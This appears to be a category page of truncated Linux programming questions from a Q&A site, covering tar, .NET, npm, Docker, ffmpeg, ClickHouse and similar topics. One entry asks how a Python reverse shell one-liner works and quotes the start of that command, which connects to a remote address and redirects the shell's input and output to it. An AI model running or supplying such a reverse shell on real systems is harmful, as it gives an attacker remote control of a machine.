Category "linux"

Image.FromStream throws Parameter is not valid error only on linux

I have some Unit Tests made in .net core that checks if the file which is uploaded from angular frontend is actually resized on the backend. I have a service th

Tar ignores compression level, what to do? [closed]

Im using the following command(s): GZIP=-9 tar -cf test9 directory GZIP=-5 tar -cf test5 directory GZIP=-2 tar -cf test2 directory all test*

How can I log messages from an ASP.NET Core application to a specific file on Linux?

I installed an ASP.NET Core application as a Linux daemon. By default .NET writes logs into /var/log/message but I would like the application to write its logs

Tar ignores compression level, what to do? [closed]

Im using the following command(s): GZIP=-9 tar -cf test9 directory GZIP=-5 tar -cf test5 directory GZIP=-2 tar -cf test2 directory all test*

You'll need to upgrade to a newer Node.js version in order to use this version of npm. But Node version is greater than v10

Here is my command line I already have node version higher than the specified 10.24.1 but still gives me this error. Not really sure what is the issue here. I a

In android how to find what /dev/input/event* is used for touchscreen using c function

I am trying to read touchscreen event, in my device /dev/input/event4 is used for touchscreen, while in some other phone, event7 is used for touchscreen. I am l

Can anyone explain how to use OpenACC in GCC?

I am using WSL Ubuntu. And use GCC to compile my C++ code. I am trying to use OpenACC to parallelize my code. I heard that I can use OpenACC with GCC. So after

How to print tree from dictionary in python

I am trying to implement ldd kind of application in python. However, I am struggling to represent the data as a tree like structure. The linux libraries are dep

numpy and cv2, no modules available after installation via pip on linux

I installed opencv and numpy using pip on debian 11.2 with python 3.9. In visual studio the modules aren't available and terminal returns: Traceback (most recen

Docker Build using CA Trust Bundle from Host

Given a simple Dockerfile that installs from something from the net, I'm trying to work out an elegant way to allow the build process to trust HTTPS endpoints w

Rust nightly not installed, please install it

I was able to build and run substrate-node-template from the instructions from the cloned repo, following the instructions at https://substrate.dev/docs/en/tuto

How to concatenate variables and strings as a full path for the "output file" of an ffmpeg command in a bash script

I'm trying to learn to bash scripting and I tried to use variables and arguments, etc. to specify a complex output file name to a ffmpeg command as follows : fo

How can I run a dotnet application in the background using sudo on Linux? [duplicate]

I am experiencing some weird problems that I'm not sure how to solve. I am using CodeDeploy to deploy my applications to an AWS EC2 instance,

WSL, Running linux commands with "wsl --exec <cmd>" or "wsl -- <cmd>"

wsl -h shows the following: --exec, -e <CommandLine> Execute the specified command without using the default Linux shell. -- Pass the remainin

How does a Python reverse shell one-liner work?

Consider: python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(

Can I call linux allocation API functions in C?

I want to allocate physical page frames using alloc_pages() in C. I have tried that in kernel module in it works fine. I want to make the code running in user s

what is the python interpreter for odoo serveur (openERP)

We use opnerp (odoo) on a linux server (debian), I want to locate the python interpreter used by the odoo daemon, So the question is how I can change the path t

Makefile - issues including directory

I've been working on a Makefile but having two issues. The application directory contains autotools files for a Yocto build but for development I'd like to do b

Add word to end of line in Ansible

I've been trying a lot of lineinfile and replace examples but i can't get it to work. I have the following lines: deb-src http://httpredir.debian.org/debian b

ClickHouse connection refused after shut down Linux OS (error Code: 210. DB::NetException: Connection refused)

I saw a previous post on StackOverflow related to my question. I tried to handle this connection problem by entering sudo nano /etc/clickhouse-server/config.xml